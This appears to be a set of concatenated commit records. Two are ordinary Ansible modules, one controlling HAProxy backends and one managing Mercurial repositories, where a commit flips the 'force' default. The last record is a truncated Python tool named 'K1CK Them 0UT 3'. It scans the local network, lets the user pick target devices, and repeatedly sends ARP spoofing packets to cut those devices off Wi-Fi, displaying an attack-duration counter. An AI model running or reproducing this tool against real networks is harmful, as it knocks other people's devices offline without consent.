    backend: www
    wait: yes

# disable backend server in 'www' backend pool and drop open sessions to it
- haproxy:
    state: disabled
    host: '{{ inventory_hostname }}'
    backend: www
    socket: /var/run/haproxy.sock
    shutdown_sessions: true

# disable server without backend pool name (apply to all available backend pool) but fail when the backend host is not found
- haproxy:
    state: disabled
    host: '{{ inventory_hostname }}'
    fail_on_not_found: yes

# enable server in 'www' backend pool
- haproxy:
    state: enabled
    host: '{{ inventory_hostname }}'
    backend: www

# enable server in 'www' backend pool wait until healthy
- haproxy:
    state: enabled
    host: '{{ inventory_hostname }}'
    backend: www
    wait: yes

# enable server in 'www' backend pool wait until healthy. Retry 10 times with intervals of 5 seconds to retrieve the health
- haproxy:
    state: enabled
    host: '{{ inventory_hostname }}'
    backend: www
    wait: yes
    wait_retries: 10
    wait_interval: 5

# enable server in 'www' backend pool with change server(s) weight
- haproxy:
    state: enabled
    host: '{{ inventory_hostname }}'
    socket: /var/run/haproxy.sock
    weight: 10
    backend: www

# set the server in 'www' backend pool to drain mode
- haproxy:
    state: drain
    host: '{{ inventory_hostname }}'
    socket: /var/run/haproxy.sock
    backend: www
'''

import csv
import socket
import time
from string import Template

from ansible.module_utils.basic import AnsibleModule

DEFAULT_SOCKET_LOCATION = "/var/run/haproxy.sock"
RECV_SIZE = 1024
ACTION_CHOICES = ['enabled', 'disabled', 'drain']
WAIT_RETRIES = 25
WAIT_INTERVAL = 5

######################################################################
class TimeoutException(Exception):
    pass

class HAProxy(object):
    """
    Used for communicating with HAProxy through its local UNIX socket interface.
    Perform common tasks in Haproxy related to enable server and
    disable server.

    The complete set of external commands Haproxy handles is documented
    on their website:

    http://haproxy.1wt.eu/download/1.5/doc/configuration.txt#Unix Socket commands
    """

    def __init__(self, module):
        self.module = module

        self.state = self.module.params['state']
        self.host = self.module.params['host']
        self.backend = self.module.params['backend']
        self.weight = self.module.params['weight']
        self.socket = self.module.params['socket']
        self.shutdown_sessions = self.module.params['shutdown_sessions']
        self.fail_on_not_found = self.module.params['fail_on_not_found']
        self.wait = self.module.params['wait']
        self.wait_retries = self.module.params['wait_retries']
        self.wait_interval = self.module.params['wait_interval']
        self.command_results = {}

    def execute(self, cmd, timeout=200, capture_output=True):
        """
        Executes a HAProxy command by sending a message to a HAProxy's local
        UNIX socket and waiting up to 'timeout' milliseconds for the response.
        """
        self.client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
        self.client.connect(self.socket)
        self.client.sendall('%s\n' % cmd)
        result = ''
        buf = ''
        buf = self.client.recv(RECV_SIZE)
        while buf:
            result += buf
            buf = self.client.recv(RECV_SIZE)
        if capture_output:
            self.capture_command_output(cmd, result.strip())
        self.client.close()
        return result

    def capture_command_output(self, cmd, output):
        """
        Capture the output for a command
        """
        if 'command' not in self.command_results:
            self.command_results['command'] = []
        self.command_results['command'].append(cmd)
        if 'output' not in self.command_results:
            self.command_results['output'] = []
        self.command_results['output'].append(output)

    def discover_all_backends(self):
        """
        Discover all entries with svname = 'BACKEND' and return a list of their corresponding
        pxnames
        """
        data = self.execute('show stat', 200, False).lstrip('# ')
        r = csv.DictReader(data.splitlines())
        return tuple(map(lambda d: d['pxname'], filter(lambda d: d['svname'] == 'BACKEND', r)))

    def discover_version(self):
        """
        Attempt to extract the haproxy version.
        Return a tuple containing major and minor version.
        """
        data = self.execute('show info', 200, False)
        lines = data.splitlines()
        line = [x for x in lines if 'Version:' in x]
        try:
            version_values = line[0].partition(':')[2].strip().split('.', 3)
            version = (int(version_values[0]), int(version_values[1]))
        except (ValueError, TypeError, IndexError):
            version = None

        return version

    def execute_for_backends(self, cmd, pxname, svname, wait_for_status=None):
        """
        Run some command on the specified backends. If no backends are provided they will
        be discovered automatically (all backends)
        """
        # Discover backends if none are given
        if pxname is None:
            backends = self.discover_all_backends()
        else:
            backends = [pxname]

        # Run the command for each requested backend
        for backend in backends:
            # Fail when backends were not found
            state = self.get_state_for(backend, svname)
            if (self.fail_on_not_found) and state is None:
                self.module.fail_json(msg="The specified backend '%s/%s' was not found!" % (backend, svname))

            if state is not None:
                self.execute(Template(cmd).substitute(pxname=backend, svname=svname))
                if self.wait:
                    self.wait_until_status(backend, svname, wait_for_status)

    def get_state_for(self, pxname, svname):
        """
        Find the state of specific services. When pxname is not set, get all backends for a specific host.
        Returns a list of dictionaries containing the status and weight for those services.
        """
        data = self.execute('show stat', 200, False).lstrip('# ')
        r = csv.DictReader(data.splitlines())
        state = tuple(
            map(
                lambda d: {'status': d['status'], 'weight': d['weight']},
                filter(lambda d: (pxname is None or d['pxname'] == pxname) and d['svname'] == svname, r)
            )
        )
        return state or None

    def wait_until_status(self, pxname, svname, status):
        """
        Wait for a service to reach the specified status. Try RETRIES times
        with INTERVAL seconds of sleep in between. If the service has not reached
        the expected status in that time, the module will fail. If the service was
        not found, the module will fail.
        """
        for i in range(1, self.wait_retries):
            state = self.get_state_for(pxname, svname)

            # We can assume there will only be 1 element in state because both svname and pxname are always set when we get here
            if state[0]['status'] == status:
                return True
            else:
                time.sleep(self.wait_interval)

        self.module.fail_json(msg="server %s/%s not status '%s' after %d retries. Aborting." % (pxname, svname, status, self.wait_retries))

    def enabled(self, host, backend, weight):
        """
        Enabled action, marks server to UP and checks are re-enabled,
        also supports to get current weight for server (default) and
        set the weight for haproxy backend server when provides.
        """
        cmd = "get weight $pxname/$svname; enable server $pxname/$svname"
        if weight:
            cmd += "; set weight $pxname/$svname %s" % weight
        self.execute_for_backends(cmd, backend, host, 'UP')

    def disabled(self, host, backend, shutdown_sessions):
        """
        Disabled action, marks server to DOWN for maintenance. In this mode, no more checks will be
        performed on the server until it leaves maintenance,
        also it shutdown sessions while disabling backend host server.
        """
        cmd = "get weight $pxname/$svname; disable server $pxname/$svname"
        if shutdown_sessions:
            cmd += "; shutdown sessions server $pxname/$svname"
        self.execute_for_backends(cmd, backend, host, 'MAINT')

    def drain(self, host, backend):
        """
        Drain action, sets the server to DRAIN mode.
        In this mode mode, the server will not accept any new connections
        other than those that are accepted via persistence.
        """
        haproxy_version = self.discover_version()

        # check if haproxy version suppots DRAIN state (starting with 1.5)
        if haproxy_version and (1, 5) <= haproxy_version:
            cmd = "set server $pxname/$svname state drain"
            self.execute_for_backends(cmd, backend, host, 'DRAIN')

    def act(self):
        """
        Figure out what you want to do from ansible, and then do it.
        """
        # Get the state before the run
        state_before = self.get_state_for(self.backend, self.host)
        self.command_results['state_before'] = state_before

        # toggle enable/disbale server
        if self.state == 'enabled':
            self.enabled(self.host, self.backend, self.weight)
        elif self.state == 'disabled':
            self.disabled(self.host, self.backend, self.shutdown_sessions)
        elif self.state == 'drain':
            self.drain(self.host, self.backend)
        else:
            self.module.fail_json(msg="unknown state specified: '%s'" % self.state)

        # Get the state after the run
        state_after = self.get_state_for(self.backend, self.host)
        self.command_results['state_after'] = state_after

        # Report change status
        if state_before != state_after:
            self.command_results['changed'] = True
            self.module.exit_json(**self.command_results)
        else:
            self.command_results['changed'] = False
            self.module.exit_json(**self.command_results)

def main():

    # load ansible module object
    module = AnsibleModule(
        argument_spec=dict(
            state=dict(required=True, default=None, choices=ACTION_CHOICES),
            host=dict(required=True, default=None),
            backend=dict(required=False, default=None),
            weight=dict(required=False, default=None),
            socket=dict(required=False, default=DEFAULT_SOCKET_LOCATION),
            shutdown_sessions=dict(required=False, default=False, type='bool'),
            fail_on_not_found=dict(required=False, default=False, type='bool'),
            wait=dict(required=False, default=False, type='bool'),
            wait_retries=dict(required=False, default=WAIT_RETRIES, type='int'),
            wait_interval=dict(required=False, default=WAIT_INTERVAL, type='int'),
        ),
    )

    if not socket:
        module.fail_json(msg="unable to locate haproxy socket")

    ansible_haproxy = HAProxy(module)
    ansible_haproxy.act()

if __name__ == '__main__':
    main()
<|endoftext|>


<commit_before>#!/usr/bin/python
#-*- coding: utf-8 -*-

# (c) 2013, Yeukhon Wong <yeukhon@acm.org>
# (c) 2014, Nate Coraor <nate@bx.psu.edu>
#
# This module was originally inspired by Brad Olson's ansible-module-mercurial
# <https://github.com/bradobro/ansible-module-mercurial>. This module tends
# to follow the git module implementation.
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

import ConfigParser

DOCUMENTATION = '''
---
module: hg
short_description: Manages Mercurial (hg) repositories.
description:
    - Manages Mercurial (hg) repositories. Supports SSH, HTTP/S and local address.
version_added: "1.0"
author: Yeukhon Wong
options:
    repo:
        description:
            - The repository address.
        required: true
        default: null
        aliases: [ name ]
    dest:
        description:
            - Absolute path of where the repository should be cloned to.
        required: true
        default: null
    revision:
        description:
            - Equivalent C(-r) option in hg command which could be the changeset, revision number,
              branch name or even tag.
        required: false
        default: null
        aliases: [ version ]
    force:
        description:
            - Discards uncommitted changes. Runs C(hg update -C).
        required: false
        default: "yes"
        choices: [ "yes", "no" ]
    purge:
        description:
            - Deletes untracked files. Runs C(hg purge).
        required: false
        default: "no"
        choices: [ "yes", "no" ]
    executable:
        required: false
        default: null
        version_added: "1.4"
        description:
            - Path to hg executable to use. If not supplied,
              the normal mechanism for resolving binary paths will be used.
notes:
    - "If the task seems to be hanging, first verify remote host is in C(known_hosts).
      SSH will prompt user to authorize the first contact with a remote host.  To avoid this prompt,
      one solution is to add the remote host public key in C(/etc/ssh/ssh_known_hosts) before calling
      the hg module, with the following command: ssh-keyscan remote_host.com >> /etc/ssh/ssh_known_hosts."
requirements: [ ]
'''

EXAMPLES = '''
# Ensure the current working copy is inside the stable branch and deletes untracked files if any.
- hg: repo=https://bitbucket.org/user/repo1 dest=/home/user/repo1 revision=stable purge=yes
'''

class Hg(object):

    def __init__(self, module, dest, repo, revision, hg_path):
        self.module = module
        self.dest = dest
        self.repo = repo
        self.revision = revision
        self.hg_path = hg_path

    def _command(self, args_list):
        (rc, out, err) = self.module.run_command([self.hg_path] + args_list)
        return (rc, out, err)

    def _list_untracked(self):
        args = ['purge', '--config', 'extensions.purge=', '-R', self.dest, '--print']
        return self._command(args)

    def get_revision(self):
        """
        hg id -b -i -t returns a string in the format:
           "<changeset>[+] <branch_name> <tag>"
        This format lists the state of the current working copy,
        and indicates whether there are uncommitted changes by the
        plus sign. Otherwise, the sign is omitted.

        Read the full description via hg id --help
        """
        (rc, out, err) = self._command(['id', '-b', '-i', '-t', '-R', self.dest])
        if rc != 0:
            self.module.fail_json(msg=err)
        else:
            return out.strip('\n')

    def has_local_mods(self):
        now = self.get_revision()
        if '+' in now:
            return True
        else:
            return False

    def discard(self):
        before = self.has_local_mods()
        if not before:
            return False

        args = ['update', '-C', '-R', self.dest]
        if self.revision is not None:
            args = args + ['-r', self.revision]
        (rc, out, err) = self._command(args)
        if rc != 0:
            self.module.fail_json(msg=err)

        after = self.has_local_mods()
        if before != after and not after:   # no more local modification
            return True

    def purge(self):
        # before purge, find out if there are any untracked files
        (rc1, out1, err1) = self._list_untracked()
        if rc1 != 0:
            self.module.fail_json(msg=err1)

        # there are some untrackd files
        if out1 != '':
            args = ['purge', '--config', 'extensions.purge=', '-R', self.dest]
            (rc2, out2, err2) = self._command(args)
            if rc2 != 0:
                self.module.fail_json(msg=err2)
            return True
        else:
            return False

    def cleanup(self, force, purge):
        discarded = False
        purged = False

        if force:
            discarded = self.discard()
        if purge:
            purged = self.purge()
        if discarded or purged:
            return True
        else:
            return False

    def pull(self):
        return self._command(
            ['pull', '-R', self.dest, self.repo])

    def update(self):
        if self.revision is not None:
            return self._command(['update', '-r', self.revision, '-R', self.dest])
        return self._command(['update', '-R', self.dest])

    def clone(self):
        if self.revision is not None:
            return self._command(['clone', self.repo, self.dest, '-r', self.revision])
        return self._command(['clone', self.repo, self.dest])

    @property
    def at_revision(self):
        """
        There is no point in pulling from a potentially down/slow remote site
        if the desired changeset is already the current changeset.
        """
        if self.revision is None or len(self.revision) < 7:
            # Assume it's a rev number, tag, or branch
            return False
        (rc, out, err) = self._command(['--debug', 'id', '-i', '-R', self.dest])
        if rc != 0:
            self.module.fail_json(msg=err)
        if out.startswith(self.revision):
            return True
        return False

# ===========================================

def main():
    module = AnsibleModule(
        argument_spec = dict(
            repo = dict(required=True, aliases=['name']),
            dest = dict(required=True),
            revision = dict(default=None, aliases=['version']),
            force = dict(default='yes', type='bool'),
            purge = dict(default='no', type='bool'),
            executable = dict(default=None),
        ),
    )
    repo = module.params['repo']
    dest = os.path.expanduser(module.params['dest'])
    revision = module.params['revision']
    force = module.params['force']
    purge = module.params['purge']
    hg_path = module.params['executable'] or module.get_bin_path('hg', True)
    hgrc = os.path.join(dest, '.hg/hgrc')

    # initial states
    before = ''
    changed = False
    cleaned = False

    hg = Hg(module, dest, repo, revision, hg_path)

    # If there is no hgrc file, then assume repo is absent
    # and perform clone. Otherwise, perform pull and update.
    if not os.path.exists(hgrc):
        (rc, out, err) = hg.clone()
        if rc != 0:
            module.fail_json(msg=err)
    elif hg.at_revision:
        # no update needed, don't pull
        before = hg.get_revision()

        # but force and purge if desired
        cleaned = hg.cleanup(force, purge)
    else:
        # get the current state before doing pulling
        before = hg.get_revision()

        # can perform force and purge
        cleaned = hg.cleanup(force, purge)

        (rc, out, err) = hg.pull()
        if rc != 0:
            module.fail_json(msg=err)

        (rc, out, err) = hg.update()
        if rc != 0:
            module.fail_json(msg=err)

    after = hg.get_revision()
    if before != after or cleaned:
        changed = True
    module.exit_json(before=before, after=after, changed=changed, cleaned=cleaned)

# import module snippets
from ansible.module_utils.basic import *
main()
<commit_msg>Reverse the force parameter for the hg module<commit_after>#!/usr/bin/python
#-*- coding: utf-8 -*-

# (c) 2013, Yeukhon Wong <yeukhon@acm.org>
# (c) 2014, Nate Coraor <nate@bx.psu.edu>
#
# This module was originally inspired by Brad Olson's ansible-module-mercurial
# <https://github.com/bradobro/ansible-module-mercurial>. This module tends
# to follow the git module implementation.
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

import ConfigParser

DOCUMENTATION = '''
---
module: hg
short_description: Manages Mercurial (hg) repositories.
description:
    - Manages Mercurial (hg) repositories. Supports SSH, HTTP/S and local address.
version_added: "1.0"
author: Yeukhon Wong
options:
    repo:
        description:
            - The repository address.
        required: true
        default: null
        aliases: [ name ]
    dest:
        description:
            - Absolute path of where the repository should be cloned to.
        required: true
        default: null
    revision:
        description:
            - Equivalent C(-r) option in hg command which could be the changeset, revision number,
              branch name or even tag.
        required: false
        default: null
        aliases: [ version ]
    force:
        description:
            - Discards uncommitted changes. Runs C(hg update -C).  Prior to
              1.9, the default was `yes`.
        required: false
        default: "no"
        choices: [ "yes", "no" ]
    purge:
        description:
            - Deletes untracked files. Runs C(hg purge).
        required: false
        default: "no"
        choices: [ "yes", "no" ]
    executable:
        required: false
        default: null
        version_added: "1.4"
        description:
            - Path to hg executable to use. If not supplied,
              the normal mechanism for resolving binary paths will be used.
notes:
    - "If the task seems to be hanging, first verify remote host is in C(known_hosts).
      SSH will prompt user to authorize the first contact with a remote host.  To avoid this prompt,
      one solution is to add the remote host public key in C(/etc/ssh/ssh_known_hosts) before calling
      the hg module, with the following command: ssh-keyscan remote_host.com >> /etc/ssh/ssh_known_hosts."
requirements: [ ]
'''

EXAMPLES = '''
# Ensure the current working copy is inside the stable branch and deletes untracked files if any.
- hg: repo=https://bitbucket.org/user/repo1 dest=/home/user/repo1 revision=stable purge=yes
'''

class Hg(object):

    def __init__(self, module, dest, repo, revision, hg_path):
        self.module = module
        self.dest = dest
        self.repo = repo
        self.revision = revision
        self.hg_path = hg_path

    def _command(self, args_list):
        (rc, out, err) = self.module.run_command([self.hg_path] + args_list)
        return (rc, out, err)

    def _list_untracked(self):
        args = ['purge', '--config', 'extensions.purge=', '-R', self.dest, '--print']
        return self._command(args)

    def get_revision(self):
        """
        hg id -b -i -t returns a string in the format:
           "<changeset>[+] <branch_name> <tag>"
        This format lists the state of the current working copy,
        and indicates whether there are uncommitted changes by the
        plus sign. Otherwise, the sign is omitted.

        Read the full description via hg id --help
        """
        (rc, out, err) = self._command(['id', '-b', '-i', '-t', '-R', self.dest])
        if rc != 0:
            self.module.fail_json(msg=err)
        else:
            return out.strip('\n')

    def has_local_mods(self):
        now = self.get_revision()
        if '+' in now:
            return True
        else:
            return False

    def discard(self):
        before = self.has_local_mods()
        if not before:
            return False

        args = ['update', '-C', '-R', self.dest]
        if self.revision is not None:
            args = args + ['-r', self.revision]
        (rc, out, err) = self._command(args)
        if rc != 0:
            self.module.fail_json(msg=err)

        after = self.has_local_mods()
        if before != after and not after:   # no more local modification
            return True

    def purge(self):
        # before purge, find out if there are any untracked files
        (rc1, out1, err1) = self._list_untracked()
        if rc1 != 0:
            self.module.fail_json(msg=err1)

        # there are some untrackd files
        if out1 != '':
            args = ['purge', '--config', 'extensions.purge=', '-R', self.dest]
            (rc2, out2, err2) = self._command(args)
            if rc2 != 0:
                self.module.fail_json(msg=err2)
            return True
        else:
            return False

    def cleanup(self, force, purge):
        discarded = False
        purged = False

        if force:
            discarded = self.discard()
        if purge:
            purged = self.purge()
        if discarded or purged:
            return True
        else:
            return False

    def pull(self):
        return self._command(
            ['pull', '-R', self.dest, self.repo])

    def update(self):
        if self.revision is not None:
            return self._command(['update', '-r', self.revision, '-R', self.dest])
        return self._command(['update', '-R', self.dest])

    def clone(self):
        if self.revision is not None:
            return self._command(['clone', self.repo, self.dest, '-r', self.revision])
        return self._command(['clone', self.repo, self.dest])

    @property
    def at_revision(self):
        """
        There is no point in pulling from a potentially down/slow remote site
        if the desired changeset is already the current changeset.
        """
        if self.revision is None or len(self.revision) < 7:
            # Assume it's a rev number, tag, or branch
            return False
        (rc, out, err) = self._command(['--debug', 'id', '-i', '-R', self.dest])
        if rc != 0:
            self.module.fail_json(msg=err)
        if out.startswith(self.revision):
            return True
        return False

# ===========================================

def main():
    module = AnsibleModule(
        argument_spec = dict(
            repo = dict(required=True, aliases=['name']),
            dest = dict(required=True),
            revision = dict(default=None, aliases=['version']),
            force = dict(default='no', type='bool'),
            purge = dict(default='no', type='bool'),
            executable = dict(default=None),
        ),
    )
    repo = module.params['repo']
    dest = os.path.expanduser(module.params['dest'])
    revision = module.params['revision']
    force = module.params['force']
    purge = module.params['purge']
    hg_path = module.params['executable'] or module.get_bin_path('hg', True)
    hgrc = os.path.join(dest, '.hg/hgrc')

    # initial states
    before = ''
    changed = False
    cleaned = False

    hg = Hg(module, dest, repo, revision, hg_path)

    # If there is no hgrc file, then assume repo is absent
    # and perform clone. Otherwise, perform pull and update.
    if not os.path.exists(hgrc):
        (rc, out, err) = hg.clone()
        if rc != 0:
            module.fail_json(msg=err)
    elif hg.at_revision:
        # no update needed, don't pull
        before = hg.get_revision()

        # but force and purge if desired
        cleaned = hg.cleanup(force, purge)
    else:
        # get the current state before doing pulling
        before = hg.get_revision()

        # can perform force and purge
        cleaned = hg.cleanup(force, purge)

        (rc, out, err) = hg.pull()
        if rc != 0:
            module.fail_json(msg=err)

        (rc, out, err) = hg.update()
        if rc != 0:
            module.fail_json(msg=err)

    after = hg.get_revision()
    if before != after or cleaned:
        changed = True
    module.exit_json(before=before, after=after, changed=changed, cleaned=cleaned)

# import module snippets
from ansible.module_utils.basic import *
main()
<|endoftext|>


<commit_before>#!/usr/bin/env python3

import time
import os
import sys
import logging
import math
from datetime import timedelta
from time import sleep
import requests
import R_spoof
BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m'

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)  # Shut up scapy!
try:
    from scapy.all import *
    import nmap
except ImportError:
    print("\n{0}ERROR: Requirements have not been satisfied properly. Please look at the README file for configuration instructions.".format(RED))
    print("\n{0}If you still cannot resolve this error, please submit an issue here:\n\t{1}https://github.com/R3DDY97/K1CK_them_0UT3/issues\n{2}".format(RED, BLUE, END))
    raise SystemExit

# check whether user is root
if os.geteuid() != 0:
    print("\n{0}ERROR: K1CKThemOut3 must be run with root privileges. Try again with sudo:\n\t{1}$ sudo python3 kick.py{2}\n".format(RED, GREEN, END))
    raise SystemExit

def heading():
    spaces = " " * 70
    sys.stdout.write(RED + spaces + """

    KK  KK IIIII  CCCCC  KK  KK  tt    hh
    KK KK   III  CC    C KK KK   tt    hh        eee  mm mm mmmm
    KKKK    III  CC      KKKK    tttt  hhhhhh  ee   e mmm  mm  mm
    KK KK   III  CC    C KK KK   tt    hh   hh eeeee  mmm  mm  mm
    KK  KK IIIII  CCCCC  KK  KK   tttt hh   hh  eeeee mmm  mm  mm

     OOOOO  UU   UU TTTTTTT        333333
    OO   OO UU   UU   TTT             3333
    OO   OO UU   UU   TTT   _____    3333
    OO   OO UU   UU   TTT              333
     OOOO0   UUUUU    TTT          333333

    """ + END + BLUE +
                     '\n' + '{0}K1CK devices accesing your Wifi  ({1}K1CK TH3M 0UT 3{2}){3}'.format(YELLOW, RED, YELLOW, BLUE).center(98) +
                     '\n' + 'Made With <3 by: {0}SH3RL0CK ({1}B4TM4N{2}) & {0}W4TS0N ({1}AGN3S{2}){3}'.format(
                         YELLOW, RED, YELLOW, BLUE).center(111) +
                     '\n' + 'Version: {0}0.2{1}\n'.format(YELLOW, END).center(86))

def optionBanner():
    print('\n\tChoose option from menu:\n')
    sleep(0.2)
    print('\t\t{0}[{1}1{2}]{3} K1CK ONE Off'.format(
        YELLOW, RED, YELLOW, WHITE))
    sleep(0.2)
    print('\t\t{0}[{1}2{2}]{3} K1CK SOME Off'.format(
        YELLOW, RED, YELLOW, WHITE))
    sleep(0.2)
    print('\t\t{0}[{1}3{2}]{3} K1CK ALL Off'.format(
        YELLOW, RED, YELLOW, WHITE))
    sleep(0.2)
    print(
        '\n\t\t{0}[{1}E{2}]{3} Exit K1CK-Them-0UT\n'.format(YELLOW, RED, YELLOW, WHITE))

def vendorMAC(mac):
    url = " http://api.macvendors.com/{}".format(mac)
    return requests.get(url).text

def net_config():
    global defaultInterface
    global defaultGatewayIP
    global defaultInterfaceIP
    global defaultInterfaceMAC
    global defaultGatewayMac
    global GatewayInterface

    defaultInterface = conf.iface
    defaultInterfaceIP = get_if_addr(defaultInterface)
    defaultInterfaceMAC = get_if_hwaddr(defaultInterface).upper()

    routing = scapy.config.conf.route.routes
    route_list = [i.split() for i in str(conf.route).splitlines()]
    defaultGatewayIP = route_list[2][2]
    defaultGatewayMac = getmacbyip(defaultGatewayIP).upper()
    gateway = route_list[-1][0]
    for i in routing:
        if int(utils.ipaddress.IPv4Address(gateway)) in i:
            netmask = 32 - int(round(math.log(0xFFFFFFFF - (i[1]), 2)))
    GatewayInterface = "{}/{}".format(defaultGatewayIP, netmask)

def scanNetwork():
    # Scanning Network using nmap
    nm = nmap.PortScanner()
    scanDict = nm.scan(hosts=GatewayInterface, arguments='-sn')
    scanstats = nm.scanstats()
    elapsed_time = float(scanstats["elapsed"])
    uphosts = int(scanstats["uphosts"])
    timestr = scanstats["timestr"]

    IPlist = nm.all_hosts()
    IPlist.remove(defaultInterfaceIP)
    IPlist.remove(defaultGatewayIP)
    try:
        macList = [getmacbyip(ip).upper() for ip in IPlist]
    except AttributeError:
        macList = [nm[x]['addresses']['mac'] for x in IPlist]
    # macList = [nm[x]['addresses']['mac'] for x in IPlist]

    hostname_list = [nm[x]['hostnames'][0]['name'] for x in IPlist]
    try:
        vendorList = [nm[x]['vendor'][m] for x, m in zip(IPlist, macList)]
    except:
        pass
    try:
        vendorList = [vendorMAC(mac) for mac in macList]
    except:
        print("Not able to find vendor names\n")
        vendorList = ["NA"] * len(IPlist)
    ip_mac_vendor_hosts = [[i, m, v, h] for i, m, v, h in zip(
        IPlist, macList, vendorList, hostname_list)]

    print('''\n\t{}N3TW0RK scan summary :-\n{}
            Scan runtime : {}{}{}
            Interface    : {}{}{}
            MAC          : {}{}{}
            Gateway IP   : {}{}{}
            uphosts      : {}{}{}
            Target hosts : {}{}{}\n
           '''.format(YELLOW, WHITE, RED, elapsed_time, WHITE, RED, defaultInterface, WHITE, RED, defaultGatewayMac, WHITE, RED, defaultGatewayIP, WHITE, RED, uphosts, WHITE, RED, len(IPlist), END))
    return ip_mac_vendor_hosts

# ########################################################################################

# K1CK one device
def K1CKoneoff():
    os.system("clear||cls")
    print("\n{0}K1CK-ONE-0ff{1} iz selected...{2}\n".format(RED, GREEN, END))
    sys.stdout.write(
        "\n\t{0}Scanning your N3TW0RK, H4NG 0N...{1}\n\n\r".format(RED, END))
    sys.stdout.flush()
    imv = scanNetwork()
    print("{0}\tNo\t{1}IP ADDRESS\t  {2}MAC ADDRESS\t\t{3}VENDOR NAME{4}\n".format(
        YELLOW, WHITE, RED, GREEN, END))
    for n, i in enumerate(imv, 1):
        print("{0}\t[{5}]\t{1}{6}\t{2}{7}\t{3}{8}{4}".format(
            YELLOW, WHITE, RED, GREEN, END, n, i[0], i[1], i[2]))

    while True:
        try:
            choice = int(
                input("\n\t{0}CH00SE the target:-{1} ".format(WHITE, END)))-1
            one_target_ip = imv[choice][0]
            one_target_mac = imv[choice][1]
            vendor = imv[choice][2]
            break
        except KeyboardInterrupt:
            return
        except:
            print(
                "\n{0}ERROR: Please enter a number from the list!{1}".format(RED, END))

    print("\n\t{0}Target:-  {5}{1} - {6}{3}  -  {7}{4} {2}".format(RED,
                                                                   one_target_ip, END, one_target_mac, vendor, WHITE, RED, GREEN))
    print(
        "\n\t {0}SP00FING has started...& Press CTRL+C keys to stop it {1}\n".format(BLUE, END))
    print(
        "\n \t {1}  K1CK3D {0} - 0UT 0F Wifi{2}\n".format(one_target_ip, RED, END))

    start = time.time()
    try:
        while True:
            # broadcast malicious ARP packets (10p/s)
            R_spoof.sendPacket(defaultInterfaceMAC,
                               defaultGatewayIP, one_target_ip, one_target_mac)
            elapsed = timedelta(seconds=round(time.time() - start))
            print(
                "\r \t {0}ATT4CK DUR4T10N :- {1} seconds{2}".format(YELLOW, elapsed, END), end="")
            time.sleep(10)
    except KeyboardInterrupt:
        return

#########################################################################################

# K1CK multiple devices

def K1CKsomeoff():
    os.system("clear||cls")
    print("\n{0}K1CK-S0ME-0ff{1} iz selected...{2}\n".format(RED, GREEN, END))
    sys.stdout.write(
        "\n\t{0}Scanning your N3TW0RK, H4NG 0N...{1}\r".format(GREEN, END))
    sys.stdout.flush()
    imv = scanNetwork()
    if len(imv) == 1:
        print("\n\n\tThere are no more than ONE device to K1CK.. Select K1CKoneoff\n\n\t")
        return
    print("{0}\tNo\t{1}IP ADDRESS\t  {2}MAC ADDRESS\t\t{3}VENDOR NAME{4}\n".format(
        YELLOW, WHITE, RED, GREEN, END))

    for n, i in enumerate(imv, 1):
        print("{0}\t[{5}]\t{1}{6}\t{2}{7}\t{3}{8}{4}".format(
            YELLOW, WHITE, RED, GREEN, END, n, i[0], i[1], i[2]))

    while True:
        try:
            choice = input("\nChoose devices to target(comma-separated): ")
            if ',' in choice:
                some_targets = [int(i)-1 for i in choice.split(",")]
                print("\nSelected devices are:\n")
                for i in some_targets:
                    print(imv[i][0])
                break
        except KeyboardInterrupt:
            return
        except ValueError:
            print("\n{}Enter comma separated above devices number\n{}".format(RED, END))

    print(
        "\n\t{0}SP00FING has started...& Press CTRL+C keys to stop it {1}\n".format(BLUE, END))
    print("\n \t{0}K1CK3D them  0UT 0F Wifi{1}\n".format(RED, END))
    try:
        start = time.time()
        while True:
            # broadcast malicious ARP packets (10p/s)
            for i in some_targets:
                R_spoof.sendPacket(defaultInterfaceMAC,
                                   defaultGatewayIP, imv[i][0], imv[i][1])
                elapsed = timedelta(seconds=round(time.time() - start))
            print(
                "\r \t {0}ATT4CK DUR4T10N :- {1} seconds{2}".format(YELLOW, elapsed, END), end="")
            time.sleep(10)
    except KeyboardInterrupt:
        return

# ########################################################################################

# K1CK all devices

def K1CKalloff():
    os.system("clear||cls")
    print("\n{0}K1CK-ALL-Off{1} iz selected...{2}\n".format(RED, GREEN, END))
    sys.stdout.write(
        "\n\t{0}Scanning your N3TW0RK, H4NG 0N...{1}\n".format(GREEN, END))
    sys.stdout.flush()
    imv = scanNetwork()
    for n, i in enumerate(imv, 1):
        print(" {0}[{5}]\t{1}{6}\t{2}{7}\t{3}{8}{4}".format(
            YELLOW, WHITE, RED, GREEN, END, n, i[0], i[1], i[2]))
    print(
        "\n\t {0}SP00FING has started...& Press CTRL+C keys to stop it {1}\n".format(BLUE, END))
    print("\n \t {0}K1CK3D ALL  0UT 0F Wifi{1}\n".format(RED, END))
    try:
        # broadcast malicious ARP packets (10p/s)
        start = time.time()
        reScan = 0
        while True:
            for i in imv:
                R_spoof.sendPacket(defaultInterfaceMAC,
                                   defaultGatewayIP, i[0], i[1])
                elapsed = timedelta(seconds=round(time.time() - start))
            print(
                "\r\t{0}ATT4CK DUR4T10N :- {1} seconds{2}".format(YELLOW, elapsed, END), end="")
            reScan += 1
            if reScan == 4:
                reScan = 0
                scanNetwork()
            time.sleep(10)
    except KeyboardInterrupt:
        return

# ########################################################################################

# script's main function

def main():
    ip_mac_vendor = scanNetwork()
